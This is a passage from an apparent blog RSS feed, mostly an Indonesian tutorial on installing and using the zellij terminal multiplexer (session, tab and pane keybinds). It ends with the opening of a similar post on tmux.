&lt;/span&gt;&lt;span&gt;click]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Manfaatnya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menutup pane yang kita inginkan secara bersamaan.&lt;/li&gt;
&lt;li&gt;Stack (menumpuk) pane yang kita inginkan secara bersamaan.&lt;/li&gt;
&lt;li&gt;Memecah beberapa panes yang kita inginkan ke dalam tab baru dalam jumlah banyak (&lt;em&gt;bulk&lt;/em&gt;).&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;etc&lt;a href=&quot;#etc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Masih ada beberapa fitur zellij lainnya yang tidak dicantumkan dalam artikel ini, seperti &lt;strong&gt;&lt;em&gt;Remote Session Access&lt;/em&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;em&gt;Advanced Scriptability&lt;/em&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;em&gt;Mouse-based Pane Resizing&lt;/em&gt;&lt;/strong&gt;, dan lain-lain. Sila kunjungi dokumentasi resmi &lt;code&gt;zellij&lt;/code&gt; untuk mengetahui fitur-fitur tersebut lebih lanjut:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://zellij.dev/features/&quot; target=&quot;_blank&quot;&gt;https://zellij.dev/features/&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;zellij&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy zellij&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install zellij&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pkg install zellij&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Per artikel ini ditulis, &lt;code&gt;zellij&lt;/code&gt; tidak tersedia di repositori &lt;strong&gt;Debian/Ubuntu&lt;/strong&gt; dan &lt;strong&gt;Fedora&lt;/strong&gt;. Oleh karena ini, beberapa alternatif cara instalasinya adalah sebagai berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://snapcraft.io/zellij&quot; target=&quot;_blank&quot;&gt;Snap&lt;/a&gt;: &lt;a href=&quot;https://snapcraft.io/zellij&quot; target=&quot;_blank&quot;&gt;https://snapcraft.io/zellij&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zellij-org../images/zellij/releases/&quot; target=&quot;_blank&quot;&gt;Official Github Repo&lt;/a&gt;: &lt;a href=&quot;https://github.com/zellij-org../images/zellij/releases/&quot; target=&quot;_blank&quot;&gt;https://github.com/zellij-org../images/zellij/releases/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah repository Github &lt;code&gt;zellij&lt;/code&gt;:&lt;/p&gt;&lt;a href=&quot;https://github.com/zellij-org/zellij&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;zellij-org&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;zellij&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara menggunakan &lt;code&gt;zellij&lt;/code&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Quickstart&lt;a href=&quot;#quickstart&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Starting &lt;code&gt;zellij&lt;/code&gt;&lt;a href=&quot;#starting-zellij&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk memulai sesi &lt;code&gt;zellij&lt;/code&gt;, kita hanya perlu mengetikkan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau kalau kita ingin membuat sesi baru dengan nama custom:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your-custom-session-name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau kita bisa juga masuk ke sesi yang sudah ada sebelumnya. Kita bisa masuk ke sesi yang masih berjalan atau sesi yang sudah mati (kalau kita masuk ke sesi yang sudah mati, artinya kita menghidupkan lagi sesi tersebut).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# lihat daftar sesi yang tersedia terlebih dahulu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellis&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# masuk ke salah satu sesi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;attach&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama-sesi&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Semua “&lt;em&gt;cache&lt;/em&gt;” dari daftar sesi &lt;code&gt;zellij&lt;/code&gt; akan tersimpan di &lt;code&gt;~/.cache/zellij&lt;/code&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Adding Tab&lt;a href=&quot;#adding-tab&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Buat tab baru dengan &lt;em&gt;keybind&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+t&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Splitting Pane&lt;a href=&quot;#splitting-pane&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Bagi pane secara vertikal dengan &lt;em&gt;keybind&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Bagi pane secara horizontal dengan &lt;em&gt;keybind&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Panes Navigation&lt;a href=&quot;#panes-navigation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berpindah dari satu pane ke pane yang lain dapat dilakukan dengan mudah &lt;em&gt;keybind&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Alt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;→&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke pane yang ada di kanan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Alt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;←&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke pane yang ada di kiri&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Alt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;↑&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# ke pane yang ada di atas&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Alt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;↓&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke pane yang ada di bawah&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Detaching Session&lt;a href=&quot;#detaching-session&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Keluar dari sesi tanpa mematikan sesi tersebut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk benar-benar keluar dan mematikan sesi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+q&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Listing Sessions&lt;a href=&quot;#listing-sessions&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita bisa melihat daftar sesi yang ada/yang pernah dibuat (baik yang sudah mati maupun yang masih berjalan, jika ada):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau kalau ingin menggunakan session manager juga bisa dengan mengetikkan &lt;em&gt;keybind&lt;/em&gt; berikut di dalam sesi &lt;em&gt;zellij&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+o w&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Renaming Session&lt;a href=&quot;#renaming-session&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk mengganti nama sesi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Masuk ke session manager&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;w&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Pilih sesi yang ingin diganti namanya, kemudian:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+r&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian masukkan nama sesi yang kalian kehendaki. Tekan [&lt;strong&gt;Enter&lt;/strong&gt;] jika sudah selesai.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Deleting Session&lt;a href=&quot;#deleting-session&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Hapus sesi dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zellij&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama-sesi-yang-ingin-dihapus&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau via session manager:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Masuk ke session manager di dalam zellij&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;w&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Pilih nama sesi yang ingin dihapus&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Del&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Locking Keybinds&lt;a href=&quot;#locking-keybinds&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa menon-aktifkan &lt;em&gt;keybind&lt;/em&gt; sementara:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+g&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Gunakan &lt;em&gt;keybind&lt;/em&gt; yang sama (&lt;code&gt;Ctrl+g&lt;/code&gt;) untuk meng-&lt;em&gt;unlock&lt;/em&gt;-nya.&lt;/p&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Terima kasih sudah membaca!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://zellij.dev/features/&quot; target=&quot;_blank&quot;&gt;https://zellij.dev/features/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://zellij.dev/tutorials/developing-a-rust-plugin/&quot; target=&quot;_blank&quot;&gt;https://zellij.dev/tutorials/developing-a-rust-plugin/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Tmux: Terminal Multiplexer</title><link>https://shangdi.github.io/posts/tech/tmux/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/tmux/</guid><description>Tmux is a legendary terminal multiplexer. By that, you can actually get your terminal more functional by splitting it vertically or horizontally almost instantly.</description><pubDate>Sun, 21 Jun 2026 02:01:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;About &lt;code&gt;tmux&lt;/code&gt;&lt;a href=&quot;#about-tmux&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;tmux&lt;/code&gt; adalah akronim dari Terminal Multiplexer, yang sebetulnya sudah sangat &lt;em&gt;self-explanatory&lt;/em&gt;. &lt;code&gt;tmux&lt;/code&gt; juga merupakan program berbasis CLI (&lt;em&gt;command line interface&lt;/em&gt;) yang gratis, open source yang memungkinkan penggunanya untuk membuat, mengatur, dan menjaga sesi terminal dari satu layar terminal saja.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Cara kerja tmux adalah dengan membuat arsitektur &lt;strong&gt;server-client&lt;/strong&gt;. Artinya, ketika kita menjalankan &lt;code&gt;tmux&lt;/code&gt;, &lt;code&gt;tmux&lt;/code&gt; akan membuat &lt;em&gt;background process&lt;/em&gt; sendiri sebagai server sehingga terminal kita akan terhubung ke &lt;code&gt;tmux&lt;/code&gt; sebagai client. Karena server-nya berjalan secara independen, &lt;em&gt;session&lt;/em&gt; &lt;code&gt;tmux&lt;/code&gt; akan bertahan (akan tetap ada) meskipun kita menutup terminal kita (seperti kitty, alacritty, ghostty, dll) atau kehilangan koneksi SSH. Untuk terhubung kembali ke tmux, kita hanya perlu &lt;em&gt;reconnect&lt;/em&gt; dan &lt;em&gt;reattach&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Selain itu, di dalam tmux, ada 3 level hirarki: &lt;strong&gt;Session &amp;gt; Window &amp;gt; Pane&lt;/strong&gt;. Sebuah sesi mengelompokkan satu atau lebih window, dan 